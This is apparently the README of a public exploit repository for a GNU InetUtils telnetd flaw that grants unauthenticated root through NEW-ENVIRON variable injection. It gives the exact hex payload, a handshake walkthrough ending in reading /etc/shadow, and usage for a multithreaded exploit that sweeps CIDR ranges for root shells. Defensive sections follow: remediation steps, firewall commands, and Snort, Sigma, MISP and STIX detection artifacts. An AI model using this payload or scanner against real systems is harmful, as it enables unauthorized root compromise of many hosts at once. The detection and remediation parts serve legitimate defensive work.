GNU InetUtils telnetd - Unauthenticated Remote Root via NEW-ENVIRON Variable Injection
Overview - Technical Analysis - Affected Versions - Usage - Remediation - References
CVE-2026-24061 is a critical authentication bypass vulnerability in the telnetd daemon distributed as part of GNU InetUtils. The flaw resides in the handling of the Telnet NEW-ENVIRON option (RFC 1572) during the initial protocol handshake.
The root cause is a failure to sanitize client-supplied environment variables before passing them to the login(1) program. When the Telnet daemon receives a NEW-ENVIRON IS sub-negotiation packet containing the variable USER with the value -f root, it passes this unsanitized value directly to the system login binary.
On systems where login accepts the -f flag (force login without password verification), this results in an unauthenticated root session being granted to the remote attacker.
This vulnerability class has historical precedent: CVE-2001-0797 in SysV telnetd and the well-known Linux telnetd -f bypass from 1994 exploited the same fundamental failure to sanitize environment-sourced arguments passed to privileged binaries.
No credentials required. No prior access needed. A single network packet sequence achieves root.
GNU InetUtils telnetd processes NEW-ENVIRON (option code 0x27, per RFC 1572) sub-negotiation to collect client-supplied environment variables. These variables are assembled into an argument vector and passed to execve(2) when spawning login(1).
The vulnerability is triggered as follows:
- The server sends
IAC DO NEW-ENVIRON, soliciting environment variables from the client. - The malicious client replies with
IAC WILL NEW-ENVIRON. - The server follows with
IAC SB NEW-ENVIRON SEND IAC SE. - The client sends the injected payload:
IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetdconstructs thelogininvocation aslogin -f root.login(1)interprets-fas "force login, skip authentication" and logs in the specified user (root) without requiring a password.
| Step | Direction | Telnet Bytes (hex) | Meaning |
|---|---|---|---|
| 1 | S -> C | FF FD 27 |
IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 |
IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 |
IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 |
IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
The login(1) binary on many Linux systems accepts the -f <user> flag for "pre-authenticated" logins, historically used by terminal multiplexers and rlogin. When telnetd builds its exec call and fails to strip leading hyphens or validate option-like strings in environment variable values, it inadvertently passes attacker-controlled flags directly to login.
The effective call becomes:
execve("/bin/login", ["login", "-f", "root"], envp);Attacker Vulnerable telnetd (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd calls: login -f root] |
| |
|<------ Root shell prompt (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow contents -----|
Prerequisites:
- Target system running GNU InetUtils
telnetd(TCP/23 open) - Unpatched version of
inetutils login(1)binary supports the-fflag (standard on most Linux distributions)- No firewall blocking TCP/23
| Software | Affected Versions | Status |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (specific patched version TBD) | Vulnerable |
| Distributions shipping unpatched GNU inetutils | Various | Check vendor advisory |
Verify whether your distribution ships a patched version. Many modern systems have Telnet disabled by default; exposure requires an explicitly running
telnetd.
| Metric | Value |
|---|---|
| CVSS v3.1 Base Score | 9.8 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | High |
| Vector String | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ATT&CK ID | Tactic | Technique | Relevance |
|---|---|---|---|
| T1190 | Initial Access | Exploit Public-Facing Application | Direct exploitation of telnetd over the network |
| T1059 | Execution | Command and Scripting Interpreter | Shell execution post-exploitation |
| T1078.004 | Privilege Escalation / Defense Evasion | Valid Accounts: Local Accounts | Authentication bypass yields a valid root session |
| T1548 | Privilege Escalation | Abuse Elevation Control Mechanism | login -f flag abused to bypass PAM/authentication |
| T1046 | Discovery | Network Service Discovery | Mass scanning component of the PoC |
Requirements: Python 3 (standard library only, zero external dependencies).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061No pip install needed. Both scripts use only the Python standard library.
poc_cve_2026_24061.py # Simple PoC (~100 lines) - understand the vulnerability
cve_2026_24061.py # Industrialized exploit - multithreaded, CIDR, CSV/JSON export
scripts/
generate_signatures.py # Auto-generate Snort/Suricata + Sigma rules from payload
generate_misp_event.py # Generate MISP-importable event JSON
generate_stix_bundle.py # Generate STIX 2.1 bundle (MISP, OpenCTI, TAXII)
signatures/
snort.rules # Snort/Suricata detection rules (auto-generated)
sigma.yml # Sigma rule for SIEM (auto-generated)
indicators/
misp_event.json # MISP event - import via Events > Add Event > Import
stix_bundle.json # STIX 2.1 bundle - 11 objects (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: Minimal, readable, educational. One target, one function, zero abstraction. Read this to understand exactly how the vulnerability works at the protocol level.cve_2026_24061.py: Industrialized exploit for pentesting engagements. Multithreaded, supports CIDR ranges, file input, CSV/JSON export, quiet mode, custom users.
Exploit a single host. The code is deliberately minimal so you can read it top to bottom and understand the full attack chain.
# Basic usage
python3 poc_cve_2026_24061.py 192.168.1.100
# Custom port
python3 poc_cve_2026_24061.py 10.0.0.5 2323python3 cve_2026_24061.py -t 192.168.1.100python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50python3 cve_2026_24061.py -f targets.txt -o results.csvpython3 cve_2026_24061.py -t 10.0.0.0/24 --json results.jsonpython3 cve_2026_24061.py -t 192.168.1.1 --user adminpython3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt| Parameter | Default | Description |
|---|---|---|
-t / --target |
- | Single IP, hostname, or CIDR range |
-f / --file |
- | File containing IPs/CIDRs (one per line, # comments) |
-T / --threads |
10 |
Number of concurrent threads |
-p / --port |
23 |
Target Telnet port |
--timeout |
5 |
Socket timeout in seconds |
--user |
root |
Username for the -f payload |
-o / --output |
- | Export results to CSV file |
--json |
- | Export results to JSON file |
-q / --quiet |
off | Quiet mode: only print vulnerable targets (one per line) |
--no-color |
off | Disable ANSI color output |
| Status | Meaning |
|---|---|
[VULN] |
Host confirmed vulnerable - root shell obtained |
[SAFE] |
Host responded but authentication was not bypassed |
[CLOS] |
Port closed or connection refused |
[ERR ] |
Socket or protocol error during scan |
CSV output columns: ip:port, status, message
The script implements the full Telnet NEW-ENVIRON negotiation state machine natively in Python without relying on external Telnet libraries:
- Opens a raw TCP socket to the target on port 23 (configurable).
- Reads incoming
IACcommand sequences and responds toDO NEW-ENVIRONwithWILL NEW-ENVIRON. - Upon receiving the server
SB NEW-ENVIRON SENDsub-negotiation, transmits the injected payload (USER = "-f root"). - Monitors the response buffer for indicators of successful root login: presence of
uid=0(root)or a shell prompt (#), in the absence ofLogin incorrectorPassword:. - If the payload was injected, sends
id\nand checks foruid=0(root)in the response as secondary confirmation.
Results are logged to stdout with color-coded status labels. Optional CSV export records all findings for post-processing.
-
Disable Telnet entirely. Telnet transmits all data in cleartext. Replace with SSH.
sudo systemctl disable telnet.socket --now sudo systemctl disable inetd --now
-
Apply vendor patch. Install the patched version of
inetutilsfrom your distribution once available. -
Block TCP/23 at perimeter. Apply firewall rules to deny inbound Telnet connections.
# iptables sudo iptables -A INPUT -p tcp --dport 23 -j DROP # nftables sudo nft add rule inet filter input tcp dport 23 drop
| Control | Description |
|---|---|
| Network segmentation | Restrict Telnet to isolated management networks if it cannot be disabled |
| PAM hardening | Review PAM configuration; disable -f pre-authentication where not required by login.defs |
| IDS/IPS signatures | Detect NEW-ENVIRON IS VAR USER VALUE -f patterns in Telnet traffic |
| Audit logging | Monitor auth.log / secure for unexpected root logins via login |
| Vulnerability scanning | Run authenticated scans (OpenVAS, Nessus) to identify unpatched inetutils |
Snort/Suricata rule skeleton for detecting the exploit in transit:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
This repository ships pre-generated threat intel artifacts, ready to import into your SOC/CTI stack. They are auto-generated by CI from the actual exploit payload - if the payload changes, the artifacts update.
Import indicators/misp_event.json directly into any MISP instance:
Events > Add Event > Import from... > JSON
The event contains: CVE ID, CVSS vector, Snort signature, payload hex, MITRE ATT&CK tags (T1190, T1548, T1059), CPE, and external references.
Import indicators/stix_bundle.json into OpenCTI, TAXII servers, or any STIX 2.1 consumer.
The bundle contains 11 objects: Vulnerability, Indicator (network pattern), 3 Attack Patterns (MITRE), Course of Action (remediation), Identity, and Relationships linking them.
Pre-built rules in signatures/:
snort.rules- 3 Snort/Suricata rules (exploit attempt, generic -f injection, post-exploitation root shell)sigma.yml- Sigma rule for SIEM correlation
If you modify the exploit payload, regenerate all artifacts:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.pyReferences: MISP - OpenCTI - STIX 2.1 - Sigma
- GNU InetUtils Official Repository
- RFC 1572 - Telnet Environment Option (NEW-ENVIRON)
- RFC 854 - Telnet Protocol Specification
- CVE-2001-0797 - Historical SysV telnetd -f bypass (precedent)
- MITRE ATT&CK - T1190: Exploit Public-Facing Application
- MITRE ATT&CK - T1548: Abuse Elevation Control Mechanism
- MISP Project
- Linux login(1) man page
This tool is provided for authorized security auditing, academic research, and educational purposes only. Usage against systems without explicit written permission from the system owner is illegal under applicable computer fraud and abuse laws (including but not limited to the CFAA, Computer Misuse Act, and equivalent legislation). The author accepts no liability for unauthorized or malicious use.